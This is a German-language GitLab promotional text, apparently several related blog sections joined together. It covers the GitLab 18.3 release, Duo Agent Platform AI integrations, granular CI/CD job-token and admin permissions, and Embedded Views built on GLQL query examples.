Probiere den Issue to MR Flow auf GitLab Duo Agent Platform jetzt mit einer kostenlosen Testversion von GitLab Ultimate mit Duo Enterprise aus.

Letzten Monat kündigten wir GitLab 18.3 an, die neueste Version unserer KI-nativen DevSecOps-Plattform. Agent Insights, Teil der GitLab Duo Agent Platform, bietet Einblicke in die Entscheidungsprozesse der Agenten. Erweiterte KI-Modellunterstützung bedeutet keine Anbieterabhängigkeit. Verbesserte Governance-Kontrollen ermöglichen Compliance über mehrere Rechtsräume hinweg.

Das sind nicht nur Funktionen. Es sind Beispiele für Transparenz, Unabhängigkeit und den entwicklerorientierten Ansatz, der GitLab definiert. So setzt sich diese Strategie in der Praxis um.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1115249475?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Who is GitLab_Robin_090225_FINAL"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

KI-Transparenz über den gesamten DevSecOps-Lebenszyklus

Bei GitLab adressiert unser jahrzehntelanges Engagement für Transparenz diese Bedenken direkt. Da künstliche Intelligenz zunehmend in Entwicklungs-Workflows integriert wird, sind Organisationen zu Recht besorgt darüber, wie Code und Daten für KI-Training verwendet werden.

Das GitLab KI-Transparenzzentrum, im April 2024 gestartet, bietet eine klare Dokumentation unserer Datenverarbeitungspraktiken, Datenschutzmaßnahmen und ethischen KI-Prinzipien. Im Gegensatz zu Plattformen, die KI-Funktionen mit unklaren Datennutzungsrichtlinien betreiben, priorisiert GitLab Transparenz, damit Kund(inn)en genau verstehen, wie Daten verarbeitet werden, gespeichert und geschützt werden – ohne Training mit diesen Daten.

Unser Ansatz erstreckt sich auf Modellflexibilität und Anbieterunabhängigkeit. Während einige Plattformen Kund(inn)en an einzelne Large Language Model (LLM)-Anbieter binden und damit zusätzliche Anbieterabhängigkeiten und potenzielle Single Points of Failure schaffen, werden GitLabs KI-Funktionen von verschiedenen Modellen unterstützt. Dieser Ansatz ermöglicht es uns, eine breite Palette von Anwendungsfällen zu unterstützen und bietet Kund(inn)en die Flexibilität, sich an strategischen Prioritäten auszurichten.

Bei der Weiterentwicklung der GitLab Duo Agent Platform bleiben wir auf Datenkontrolle fokussiert und behalten umfassende Human-in-the-Loop-Kontrollen bei. Und GitLab Duo Self-Hosted bietet vollständige Datensouveränität mit luftdichten Bereitstellungsoptionen, Zero-Day-Datenaufbewahrungsrichtlinien und der Möglichkeit, alle KI-Anfragen innerhalb der eigenen Infrastruktur zu verarbeiten.

Seit Mai 2024 pflegen wir auch einen KI-Kontinuitätsplan mit einem branchenführenden Versprechen: die Fähigkeit, innerhalb von 30 Tagen ein neues Modell zu evaluieren und zu wechseln, falls ein Anbieter seine Praktiken bezüglich Kundendaten ändert. Dieser proaktive Ansatz zum KI-Anbieter-Risikomanagement spiegelt unser Engagement für Kundenkontrolle wider.

Wahlfreiheit bei Bereitstellung und Cloud-Anbieter

Organisationen sollten wählen können, wie und wo die DevSecOps-Umgebung bereitgestellt wird. GitLab bietet echte Bereitstellungsflexibilität. Organisationen können zwischen On-Premises-Installationen, Multi-Tenant-SaaS oder GitLab Dedicated wählen, unserer vollständig verwalteten Single-Tenant-SaaS-Lösung, ohne auf Funktionalität zu verzichten oder künstlichen Einschränkungen ausgesetzt zu sein, die auf Ökosystem-Lock-in abzielen. GitLab ist auch Cloud-neutral, sodass Kund(inn)en den Cloud-Anbieter nutzen können, der am besten zu Geschäftsanforderungen und Umgebung passt.

Diese Flexibilität erweist sich als unschätzbar wertvoll bei der Navigation durch komplexe rechtliche Anforderungen und regulatorische Herausforderungen. Wenn neue Datenlokalisierungsgesetze entstehen – wie wir es in der Europäischen Union und anderen Regionen gesehen haben – können Organisationen, die GitLab nutzen, ihre Bereitstellungsstrategien schnell anpassen, ohne durch Ökosystemabhängigkeiten eingeschränkt zu sein.

Aus Beschaffungs- und Risikomanagement-Perspektive bietet Plattformunabhängigkeit auch entscheidende Verhandlungsmacht bei Vertragsverhandlungen. Organisationen werden nicht in restriktive Lizenzvereinbarungen gezwungen, die Anbieterinteressen über Kundenbedürfnisse stellen. Diese Unabhängigkeit wird besonders kritisch, da Unternehmen wachsamer werden, wer ihren KI-Stack kontrolliert.

Sicherheit und Compliance: Eingebaut und immer Priorität

Sicherheit und Compliance sind jetzt genauso wichtig wie Entwicklungsfunktionen und sollten in die Plattform eingebaut sein, nicht nachträglich hinzugefügt. GitLabs Single-Platform-Ansatz bietet erhebliche Vorteile gegenüber fragmentierten Plattformen, die auf Drittanbieter-Add-Ins angewiesen sind, um grundlegende Sicherheits- und Governance-Funktionen zu erreichen. Dieser architektonische Unterschied hat erhebliche Auswirkungen auf mögliche rechtliche Risiken, operative Effizienz und regulatorische Compliance. Jedes zusätzliche Tool in der Kette stellt einen weiteren potenziellen Fehlerquellen dar, weitere Geschäftsbedingungen, die verhandelt werden müssen, und eine weitere Risikoquelle.

GitLab bietet umfassende eingebaute Sicherheits- und Compliance-Funktionen, einschließlich kundenspezifischer Compliance-Frameworks, dynamischem Application Security Testing (DAST), API-Fuzz-Testing, Coverage-Guided Fuzzing und Infrastructure-as-Code-Testing. Diese Funktionen sind nativ in die Plattform integriert und bieten konsistente Richtliniendurchsetzung und reduzieren die Compliance-Komplexität und zusätzlichen Kosten, die mit der Verwaltung mehrerer Drittanbieter-Tools verbunden sind.

Unser Compliance-Center bietet einen zentralen Ort für Teams, um ihre Compliance-Standards, Compliance-Berichte, Verstöße und Compliance-Frameworks für ihre Gruppe zu verwalten. Dieser einheitliche Ansatz für das Compliance-Management ist besonders wertvoll für Organisationen in stark regulierten Branchen, in denen Audit-Trails und Compliance-Dokumentation kritisch sind.

Nähe zur Open-Source-Community

Die besten Tools werden von den Menschen geprägt, die sie nutzen. Unser Engagement für Open Source und die Zusammenarbeit mit unserer Community ist seit unserer Gründung Kern von GitLab. Beispielsweise ist unser Co-Create-Programm eine kollaborative Initiative, die es Kund(inn)en ermöglicht, direkt mit GitLab-Ingenieur(inn)en zusammenzuarbeiten, um Funktionen, Fixes und Verbesserungen zur GitLab-Plattform beizutragen.

Unser Transparenzwert bleibt grundlegend für unser Geschäft. Ein Beispiel dafür ist unser offener Issue-Tracker, in dem Kund(inn)en unseren Fortschritt verfolgen und direkt mit dem GitLab-Team in Diskussionen über Verbesserungsmöglichkeiten unseres Produkts eintreten können. Wir haben kürzlich unsere Healthy Backlog Initiative gestartet, um Kund(inn)en noch größere Einblicke in unsere Planung zu geben und ihr Feedback an Stellen mit der größten Wirkung zu lenken.

Unser Ansatz ermöglicht es Organisationen, zu Open-Source-Innovation beizutragen und davon zu profitieren, während sie die Governance, Audit-Trails und Sicherheitskontrollen beibehalten, die für regulierte Umgebungen erforderlich sind.

Daten-Governance: Die Daten, die Kontrolle

Vollständige Kontrolle über Daten und deren Verarbeitung bleibt erhalten. Daten-Governance ist zu einem immer kritischeren Faktor bei Unternehmensentscheidungen geworden, angetrieben durch ein komplexes Netz nationaler und regionaler Datenschutzgesetze und wachsende Bedenken über die Kontrolle sensibler geistiger Eigentumsrechte – wie Quellcode, Kundeneinblicke, strategische Initiativen und Wettbewerbsinformationen.

Mit GitLab kann verwaltet werden, wer Zugang zu KI-gestützten Funktionen innerhalb der Plattform hat, was über einfache Zugriffskontrollen hinausgeht und Verschlüsselungsstandards und Audit-Funktionen umfasst, die auf regulatorische Frameworks ausgerichtet sind. Außerdem werden Code und Daten von Kund(inn)en niemals zum Training von KI-Modellen verwendet.

Die Wahl ist klar

GitLab führt weiterhin bei KI-nativer DevSecOps-Plattform-Innovation – unsere jüngste 18.3-Version zeigt dies – während wir den Unabhängigkeits- und Transparenzverpflichtungen treu bleiben, die uns immer geleitet haben.

Kund(inn)en haben eine Wahl und sie ist klar: Kontrolle behalten vs. Anbieterabhängigkeit; Transparenz vs. Unsicherheit; Engagement für Innovation vs. Launen des größeren Ökosystems.

GitLab bietet die Grundlage für nachhaltige digitale Transformation, die Innovation mit Unabhängigkeit ausbalanciert und dabei hilft, Geschäftswert für Kund(inn)en zu erzielen.

GitLab Ultimate mit GitLab Duo heute kostenlos testen.

Diese Funktion ermöglicht es Maintainern, granulare Berechtigungen zu implementieren, die den Job-Token-Zugriff auf API-Ressourcen kontrollieren. Gemäß dem Principle of Least Privilege haben diese Job Tokens keinerlei Zugriffsmöglichkeit auf API-Ressourcen, bis explizit Berechtigungen erteilt werden.

Diese erste Version umfasst granulare Berechtigungen für die folgenden Ressourcen:

• Repositories
• Deployments
• Environments
• Jobs
• Packages
• Pipelines
• Releases
• Secure Files
• Terraform State

Zusätzliche API-Endpunkte sind für zukünftige Releases geplant. Weitere Informationen finden sich im zugehörigen Epic.

Das Gesamtbild

Diese Version stellt einen wichtigen Schritt in GitLabs übergeordneter Mission dar, die Sicherheit der Software-Supply-Chain zu verbessern. Historisch waren Job Tokens an den oder die Benutzer(in) gebunden, der oder die die Pipeline ausführt, wodurch bestehende Privilegien weitergegeben wurden und Sicherheitsrisiken entstanden, wenn Pipelines kompromittiert wurden.

Granulare Berechtigungen für Job Tokens bieten eine Grundlage für ein sichereres CI/CD-Ökosystem, das:

• Die Angriffsfläche reduziert: Implementiert das Principle of Least Privilege durch Beschränkung des Zugriffs auf nur notwendige Ressourcen
• Die Abhängigkeit von langlebigen Tokens eliminiert: Bietet eine sichere Alternative, die den Bedarf an persönlichen Zugriffstokens und anderen persistenten Anmeldedaten reduziert
• Auf maschinenbasierte Identität vorbereitet: Dieser Opt-in-Ansatz legt den Grundstein dafür, Job Tokens perspektivisch vollständig von Benutzeridentitäten zu entkoppeln und sich in Richtung echter Machine-to-Machine-Authentifizierung zu bewegen
• Sichere Automatisierung im großen Maßstab ermöglicht: Unterstützt komplexe Deployment-Workflows und CI/CD-Komponenten ohne Kompromisse bei der Sicherheit

Erste Schritte

Security-Teams und DevOps-Ingenieure sollten diese Funktion für alle Projekte evaluieren, die automatisierte Deployments, Package-Veröffentlichungen oder Infrastructure Management durchführen. Da es sich um eine Opt-in-Funktion handelt, kann die Migration schrittweise erfolgen, um Störungen bestehender Pipelines zu minimieren.

Beginne damit, die kritischsten Pipelines zu identifizieren und deren aktuelle Berechtigungsanforderungen zu prüfen. Aktiviere dann granulare Berechtigungen und konfiguriere den minimalen Zugriff, der für jedes Projekt benötigt wird. Weitere Informationen finden sich in der Dokumentation zu granularen Berechtigungen für CI/CD Job Tokens.

Diese granularen Admin-Berechtigungen ermöglichen es Organisationen, zweckgebundene administrative Rollen zu erstellen, anstatt Benutzern vollständigen Administratorzugang zu gewähren. Mögliche Anwendungsfälle umfassen:

• Platform Team: Zugriff auf Runner-Management, Instanz-Monitoring und Performance-Metriken
• Support Team: Zugriff auf User-Management und Troubleshooting-Workflows
• Leadership Team: Zugriff auf Dashboards, Nutzungsstatistiken und Lizenzierung

Funktionen

• Granulare Berechtigungen: Custom Permissions ermöglichen es, eine Rolle zu erstellen, die den spezifischen Anforderungen entspricht.
• Management auf Instanzebene: Custom Admin Roles werden zentral erstellt und verwaltet.
• LDAP-Integration: Unterstützung für die Zuweisung großer Benutzergruppen zu Rollen über Directory-Server.
• Audit-Integration: Funktioniert mit dem bestehenden Admin-Modus und Audit-Events.

Mission: Die Sicherheit der Software-Supply-Chain verbessern

Diese Funktion stellt einen wichtigen Schritt in GitLabs übergeordneter Mission dar, die Sicherheit der Software-Supply-Chain zu verbessern. Als Teil dieser Mission hat GitLab auch Custom Roles für Projekte und Gruppen sowie granulare Berechtigungen für CI/CD Job Tokens hinzugefügt.

Weitere Informationen zu Custom Admin Roles finden sich unter Custom Roles. Zusätzliche Berechtigungen sind für zukünftige Releases geplant. Um Feedback zu teilen, siehe das Custom Roles Issue.

Überblick zu behalten, was in deinem Projekt passiert? Vielleicht prüfst du

eine Issue, springst dann zu einem Merge Request und dann zu einem Epic, um

zu sehen, wie alles zusammenhängt. Ehe du dich versiehst, ist dein Browser

voller Tabs und du hast den roten Faden verloren.

Keine Sorge, du stehst nicht alleine da. Viele Teams verschwenden Zeit und Energie damit, zwischen verschiedenen Elementen in ihrer Projektverwaltungssoftware hin und her zu springen, nur um den Überblick über ihre Arbeit zu behalten.

Deshalb haben wir Embedded Views entwickelt, angetrieben von GitLab Query Language (GLQL). Mit Embedded Views, verfügbar ab 18.3, erhältst du Live-Informationen genau dort, wo du bereits in GitLab arbeitest. Kein endloses Kontextwechseln mehr. Keine veralteten Berichte mehr. Nur die Informationen, die du brauchst, genau dann, wenn du sie brauchst.

Warum Embedded Views wichtig sind

Embedded Views sind mehr als nur ein neues Feature – sie stellen eine grundlegende Veränderung dar, wie Teams ihre Arbeit in GitLab verstehen und verfolgen. Mit Embedded Views können Teams den Kontext beibehalten, während sie auf Echtzeitinformationen zugreifen, gemeinsames Verständnis schaffen und die Zusammenarbeit verbessern, ohne ihren aktuellen Workflow zu verlassen. Es geht darum, die Arbeitsverfolgung natürlich und mühelos zu gestalten, damit Sie sich auf das Wesentliche konzentrieren können.

So funktioniert's: Echtzeitdaten genau dort, wo sie am meisten gebraucht werden

Mit Embedded Views kannst du Live-GLQL-Abfragen in Markdown-Codeblöcken in Wiki-Seiten, Epics, Issues und Merge Requests einfügen. Das macht sie so nützlich:

Immer aktuell

GLQL-Abfragen sind dynamisch und rufen bei jedem Seitenladen frische Daten ab. Deine Embedded Views spiegeln also immer den aktuellen Zustand deiner Arbeit wider, nicht den Zustand beim Einbetten der Ansicht. Wenn Änderungen an Issues, Merge Requests oder Milestones auftreten, zeigt eine Seitenaktualisierung diese Updates in Ihrer Embedded View an.

Kontextbezogenes Bewusstsein

Verwende Funktionen wie currentUser() und today(), um Abfragen kontextspezifisch zu machen. Deine Embedded Views passen sich automatisch an, um relevante Informationen für die jeweilige Person anzuzeigen, die sie betrachtet, und schaffen so personalisierte Erlebnisse ohne manuelle Konfiguration.

Leistungsstarke Filterung

Filter nach Feldern wie Zuweisenden, Autor(inn)en, Label, Milestone, Gesundheitsstatus, Erstellungsdatum und mehr. Verwende logische Ausdrücke, um genau die gewünschten Daten zu erhalten. Wir unterstützen mehr als 30 Felder ab Version 18.3.

Anpassbare Anzeige

Du kannst deine Daten als Tabelle, Liste oder nummerierte Liste anzeigen. Wähle, welche Felder angezeigt werden sollen, lege ein Limit für die Anzahl der Elemente fest und gib die Sortierreihenfolge an, um deine Ansicht fokussiert und handlungsorientiert zu halten.

Verfügbarkeit

Du kannst Embedded Views in Gruppen- und Projekt-Wikis, Epic- und Issue-Beschreibungen, Merge Requests und Kommentaren verwenden. GLQL ist in allen GitLab-Stufen verfügbar: Free, Premium und Ultimate, auf GitLab.com, GitLab Self-Managed und GitLab Dedicated. Bestimmte Funktionen wie die Anzeige von Epics, Status, benutzerdefinierten Feldern, Iterationen und Gewichtungen sind in den Stufen Premium und Ultimate verfügbar. Die Anzeige des Gesundheitsstatus ist nur in Ultimate verfügbar.

Embedded Views in Aktion erleben

Die Syntax einer Embedded View-Quelle ist eine Obermenge von YAML. Sie besteht aus:

• Dem query-Parameter: Ausdrücke, die mit einem logischen Operator wie and verbunden werden.

• Parametern für die Präsentationsebene wie display, limit oder fields, title und description, dargestellt als YAML.

Eine View wird in Markdown als Codeblock definiert, ähnlich wie andere Codeblöcke wie Mermaid.

Zum Beispiel:

Zeige eine Tabelle der ersten 5 offenen Issues an, die dem authentifizierten Benutzer in gitlab-org/gitlab zugewiesen sind.

Zeige die Spalten title, state, health, description, epic, milestone, weight und updated.

```glql


display: table


title: GLQL-Tabelle 🎉


description: Diese Ansicht listet meine offenen Issues auf


fields: title, state, health, epic, milestone, weight, updated


limit: 5


query: project = "gitlab-org/gitlab" AND assignee = currentUser() AND state = opened


```

Diese Quelle sollte eine Tabelle wie die folgende rendern:

Eine einfache Möglichkeit, erste Embedded View zu erstellen, besteht darin, zum Dropdown-Menü Weitere Optionen in der Rich-Text-Editor-Symbolleiste zu navigieren. Wähle dort Embedded View aus, wodurch folgende Abfrage in einem Markdown-Codeblock eingefügt wird:

```glql


query: assignee = currentUser()


fields: title, createdAt, milestone, assignee


title: Mir zugewiesene Issues


```

Speicher deine Änderungen im Kommentar oder in der Beschreibung, wo der Codeblock erscheint, und schon bist du fertig! Du hast erfolgreich deine erste Embedded View erstellt!

Wie GitLab Embedded Views nutzt

Ob wir Merge Requests für Security-Releases nachverfolgen, Bugs zur Verbesserung der Backlog-Hygiene triagieren oder Team-Onboarding und Milestone-Planung verwalten – wir verlassen uns täglich bei geschäftskritischen Prozessen auf Embedded Views. Dies ist nicht nur ein Feature, das wir entwickelt haben, es ist ein Tool, auf das wir uns verlassen, um unser Geschäft effektiv zu führen. Wenn du Embedded Views einführst, erhältst du eine getestete Lösung, die GitLab-Teams bereits dabei hilft, effizienter zu arbeiten, datengesteuerte Entscheidungen zu treffen und die Transparenz über komplexe Workflows hinweg zu wahren. Einfach ausgedrückt: Embedded Views können verändern, wie dein Team auf die Arbeit zugreift und sie analysiert, die für deinen Erfolg am wichtigsten ist.

Um mehr darüber zu erfahren und zu sehen, wie GitLab Embedded Views intern nutzt, schaue dir How GitLab measures Red Team impact: The adoption rate metric und Global Search Release Planning Issues für die Milestones 18.1, 18.2 und 18.3 an.

Was kommt als Nächstes

Embedded Views sind nur der Anfang der Vision der Knowledge Group für die Arbeitsverfolgung. Erfahre mehr über unsere nächsten Schwerpunkte im Embedded Views Post-GA Epic. Während sich Embedded Views weiterentwickeln, wollen wir sie noch leistungsfähiger und zugänglicher zu machen.

Teile deine Erfahrungen

Teile uns dein Feedback mit im Embedded Views GA Feedback Issue. Egal ob du innovative Anwendungsfälle entdeckt hast, auf Herausforderungen gestoßen bist oder Verbesserungsideen hast – wir wollen von dir hören.

Diese Transformation erfolgt auf drei unterschiedlichen Ebenen, die weit über das hinausgehen, was andere KI-Entwicklungstools bieten:

Erstens sind wir ein System of Record. Die einheitliche Datenplattform speichert die wertvollsten digitalen Assets. Dazu gehören Quellcode und geistiges Eigentum sowie eine Fülle unstrukturierter Daten, die Projektpläne, Bug-Backlogs, CI/CD-Konfigurationen, Deployment-Historien, Sicherheitsberichte und Compliance-Daten umfassen. Dies schafft einen Datenschatz an Kontextinformationen, der sicher in der GitLab-Umgebung verbleibt und für generische Agenten oder große Sprachmodelle unzugänglich ist.

Zweitens fungieren wir als Software-Control-Plane. Wir orchestrieren die kritischsten Geschäftsprozesse über Git-Repositories, REST-APIs und Webhook-basierte Schnittstellen, die die End-to-End-Software-Lieferung antreiben. Viele Kunden betrachten dies als Tier-0-Abhängigkeit, auf die sich ihre geschäftskritischen Prozesse täglich verlassen.

Drittens bieten wir eine leistungsstarke Benutzererfahrung. Wir liefern eine integrierte Oberfläche, die den kostspieligen Kontextwechsel eliminiert, der die meisten Entwicklungsteams verlangsamt. Mit vollständiger Lifecycle-Transparenz und Kollaborationstools in einer Plattform verlassen sich über 50 Millionen registrierte Nutzende und die riesige Community auf GitLab, um ihre Arbeit zu erledigen. Diese Expertise positioniert GitLab einzigartig, um eine intuitive Mensch-zu-KI-Zusammenarbeit zu ermöglichen, die die Teamproduktivität steigert und gleichzeitig die bewährten Workflows bewahrt.

Erweiterung der Plattform mit nativ integrierter KI auf allen Ebenen

Die GitLab Duo Agent Platform integriert und erweitert alle drei dieser Ebenen. Sie ist auf Erweiterbarkeit und Interoperabilität ausgelegt und ermöglicht es Kunden und Partnern, Lösungen zu entwickeln, die noch mehr Wert schaffen. Der offene Plattformansatz betont die nahtlose Konnektivität mit externen KI-Tools und -Systemen, während gleichzeitig eine tiefe Integration in den bestehenden Stack auf allen drei Ebenen gewährleistet wird.

• Erstens erweitern wir die einheitliche Datenplattform um einen Knowledge Graph, der Code mit allen anderen unstrukturierten Daten indiziert und verknüpft, speziell optimiert für den agentischen Zugriff. KI lebt von Kontext, und wir glauben, dass dies nicht nur die Schlussfolgerungen und Inferenzen von Agenten beschleunigt, sondern auch kostengünstigere und qualitativ hochwertigere agentische Ergebnisse liefert.
• Zweitens fügen wir der bestehenden Control Plane eine wichtige Orchestration Layer in drei verschiedenen Teilen hinzu: Agenten und Flows können sich als Abonnenten für GitLab SDLC-Events registrieren, wir bauen eine neue Orchestrierungs-Engine, die speziell entwickelte Multi-Agenten-Flows ermöglicht, und wir stellen GitLab-Tools, Agenten und Flows über MCP und Standardprotokolle für beispiellose Interoperabilität zur Verfügung.
• Schließlich erweitern wir die GitLab-Erfahrung, um erstklassige Agenten und Agenten-Flows über den gesamten Software-Entwicklungslebenszyklus bereitzustellen. Sie können asynchrone Aufgaben an Agenten zuweisen, sie in Kommentaren mit @ erwähnen und benutzerdefinierte Agenten mit spezifischem Kontext für Ihre Workflows erstellen – aber noch wichtiger: GitLab liefert native Agenten für jede Entwicklungsphase und erschließt gleichzeitig ein reiches Ökosystem von Drittanbieter-Agenten. Dies schafft eine echte Mensch-zu-KI-Zusammenarbeit, bei der Agenten genauso natürlich zu bedienen sind wie menschliche Teammitglieder.

Sieh dir dieses Video an, um zu erfahren, was in 18.3 und darüber hinaus kommt, oder lies weiter.

<div style="padding:75% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1111796316?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="GitLab_18.3 Release_081925_MP_v1"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

Neu in GitLab 18.3

Mit 18.2 haben wir spezialisierte KI-Agenten eingeführt, die Entwicklern über den gesamten Software-Entwicklungslebenszyklus hinweg zur Seite stehen, sowie unseren Software Development Flow – eine leistungsstarke Funktion, die Nutzenden die Möglichkeit gibt, mehrere Agenten zu orchestrieren, um Code-Änderungen End-to-End zu planen, zu implementieren und zu testen.

GitLab 18.3 führt erweiterte Integrationen und Interoperabilität, mehr Flows und verbesserte Kontextwahrnehmung über den gesamten Software-Entwicklungslebenszyklus ein.

Erweiterte Integrationen und Interoperabilität

Wir bieten umfassende KI-Erweiterbarkeit sowohl durch erstklassige GitLab-Agenten als auch durch ein reiches Ökosystem von Drittanbieter-Agenten, alle mit vollem Zugriff auf Projektkontext und -daten. Dieser Ansatz erhält native GitLab-Workflows und Governance und bietet gleichzeitig die Flexibilität, bevorzugte Tools durch hochintegrierte Orchestrierung zwischen diesen Agenten und der GitLab-Kernplattform zu wählen. Teams erhalten erweiterte KI-Funktionalität bei gleichzeitiger Beibehaltung wichtiger Integrations-, Überwachungs- und Benutzererfahrungsvorteile.

• MCP-Server - Universelle KI-Integration: Der GitLab MCP-Server (Model Context Protocol) ermöglicht es KI-Systemen, sich sicher direkt in GitLab-Projekte und Entwicklungsprozesse zu integrieren. Diese standardisierte Schnittstelle eliminiert den Aufwand für benutzerdefinierte Integrationen und ermöglicht es KI-Tools – einschließlich Cursor –, intelligent innerhalb der bestehenden GitLab-Umgebung zu arbeiten. Siehe unsere Dokumentation für eine vollständige Liste der in 18.3 enthaltenen Tools. Dies ist erst der Anfang; weitere Tools sind für 18.4 geplant.

  Hinweis: Drittanbieter-Agenten sind GitLab Premium Beta-Funktionen und nur für GitLab Duo Enterprise-Kunden zur Evaluierung verfügbar.

"GitLab-Workflows direkt in Cursor zu bringen, ist ein entscheidender Schritt zur Reduzierung von Reibung für Entwickler. Durch die Minimierung des Kontextwechsels können Teams den Issue-Status überprüfen, Merge Requests einsehen und Pipeline-Ergebnisse überwachen, ohne jemals ihre Programmierumgebung zu verlassen. Diese Integration ist eine natürliche Ergänzung für unsere gemeinsamen Kunden, und wir freuen uns auf eine langfristige Partnerschaft mit GitLab, um die Entwicklerproduktivität weiter zu steigern."

- Ricky Doar, VP of Field Engineering bei Cursor

"Der MCP-Server und die CLI-Agent-Unterstützung von GitLab schaffen leistungsstarke neue Wege für die Integration von Amazon Q in Entwicklungsworkflows. Amazon Q Developer kann sich jetzt direkt über die Remote-MCP-Schnittstelle von GitLab verbinden, während Teams Entwicklungsaufgaben delegieren können, indem sie Amazon Q CLI einfach in Issues und Merge Requests mit @ erwähnen. Die robusten Sicherheits- und Governance-Funktionen, die in diese Integrationen integriert sind, geben Unternehmen das Vertrauen, KI-Coding-Tools zu nutzen und gleichzeitig ihre Entwicklungsstandards zu bewahren. Die Partnerschaft mit GitLab zeigt das kontinuierliche Engagement von AWS, das KI-Ökosystem zu erweitern und intelligente Entwicklungstools überall dort zugänglich zu machen, wo Entwickler arbeiten."

- Deepak Singh, Vice President of Developer Agents and Experiences bei AWS

• CLI-Agent-Unterstützung für Claude Code, Codex, Amazon Q, Google Gemini und opencode (Bring Your Own Key): 18.3 führt Integrationen ein, die es Teams ermöglichen, routinemäßige Entwicklungsarbeit zu delegieren, indem sie ihre Agenten direkt in Issues oder Merge Requests mit @ erwähnen. Wenn Entwickler diese KI-Assistenten erwähnen, lesen sie automatisch den umgebenden Kontext und Repository-Code und antworten dann auf den Kommentar des Nutzers entweder mit überprüfungsreifen Code-Änderungen oder Inline-Kommentaren. Diese Integrationen erfordern einen eigenen API-Schlüssel für die jeweiligen KI-Anbieter und halten alle Interaktionen nativ innerhalb der GitLab-Oberfläche, während gleichzeitig ordnungsgemäße Berechtigungen und Audit-Trails beibehalten werden.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1111784124?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Third Party Agents Flows Claude Code"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

"Claude Code direkt in GitLab zu bringen, bringt KI-Unterstützung dorthin, wo Millionen von Entwicklern bereits täglich zusammenarbeiten und Code liefern. Die Möglichkeit, Claude direkt in Issues und Merge Requests zu erwähnen, beseitigt Reibung und behält gleichzeitig die Qualität durch menschliche Aufsicht und Überprüfungsprozesse bei. Dieses Update bringt die Fähigkeiten von Claude Code an mehr Orte, an denen Teams arbeiten, und macht KI zu einem natürlichen Teil ihres Entwickler-Workflows."

- Cat Wu, Claude Code Product Lead, Anthropic

"Mit der neuen Agenten-Integration von GitLab in 18.3 können Sie opencode innerhalb Ihrer bestehenden Workflows verwenden. Sie können opencode in einem Issue oder Merge Request mit @erwähnen und es führt Ihren Agenten direkt in Ihrer CI-Pipeline aus. Diese Möglichkeit, opencode so zu konfigurieren und auszuführen, wie Sie es möchten, ist die Art von Integration, von der wir wissen, dass die Open-Source-Community sie wirklich schätzt."

- Jay V., CEO, opencode

• Agentic Chat-Unterstützung für Visual Studio IDE und GitLab UI für alle Premium- und Ultimate-Kunden verfügbar: Mit 18.3 müssen Sie nicht mehr zwischen Tools wechseln, um auf die vollständigen Entwicklungslebenszyklus-Daten von GitLab zuzugreifen. Die erweiterten Integrationen bringen die volle Leistung von GitLab Duo sowohl in die GitLab-Benutzeroberfläche als auch in IDEs – die Unterstützung wird von JetBrains und VS Code auf Visual Studio erweitert. Dies hilft Entwicklern, im Flow zu bleiben und gleichzeitig auf reichhaltigen Projektkontext, Deployment-Historie und Team-Kollaborationsdaten direkt in ihrer bevorzugten Umgebung zuzugreifen.
• Erweiterte KI-Modell-Unterstützung: GitLab Duo Self-Hosted unterstützt jetzt zusätzliche KI-Modelle und gibt Teams mehr Flexibilität in ihren KI-unterstützten Entwicklungsworkflows. Sie können jetzt Open-Source-OpenAI-GPT-Modelle (20B und 120B Parameter) über vLLM auf Ihrer Rechenzentrums-Hardware oder über Cloud-Services wie Azure OpenAI und AWS Bedrock in Ihrer privaten Cloud bereitstellen. Zusätzlich ist Anthropics Claude 4 auf AWS Bedrock verfügbar.

Neue automatisierte Entwicklungs-Flows

GitLab Flows koordinieren mehrere KI-Agenten mit vordefinierten Anweisungen, um diese zeitaufwändigen, alltäglichen Aufgaben autonom zu erledigen, damit sich Entwickler auf die wirklich wichtige Arbeit konzentrieren können.

GitLab 18.3 kommt mit zwei neuen Flows:

• Issue to MR Flow ermöglicht automatisierte Code-Generierung vom Konzept bis zur Fertigstellung in Minuten: Dieser Flow konvertiert automatisch Issues in umsetzbare Merge Requests (MRs), indem Agenten koordiniert werden, um Anforderungen zu analysieren, umfassende Implementierungspläne vorzubereiten und produktionsreifen Code zu generieren, der zur Überprüfung bereit ist – und verwandelt Ideen in überprüfbare Implementierungen in Minuten, nicht Stunden.

<div style="padding:75% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1111782058?badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Issue to MR"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

• Convert CI File Flow für nahtlose Migrationsintelligenz: Der Convert CI File Flow rationalisiert Migrationsworkflows, indem Agenten bestehende CI/CD-Konfigurationen analysieren und sie intelligent in das GitLab CI-Format mit vollständiger Pipeline-Kompatibilität konvertieren. Dies eliminiert den manuellen Aufwand und potenzielle Fehler beim Neuschreiben von CI-Konfigurationen von Grund auf und ermöglicht es Teams, ganze Deployment-Pipelines mit Vertrauen zu migrieren. 18.3 umfasst Unterstützung für Jenkins-Migrationen. Zusätzliche Unterstützung ist für zukünftige Versionen geplant.

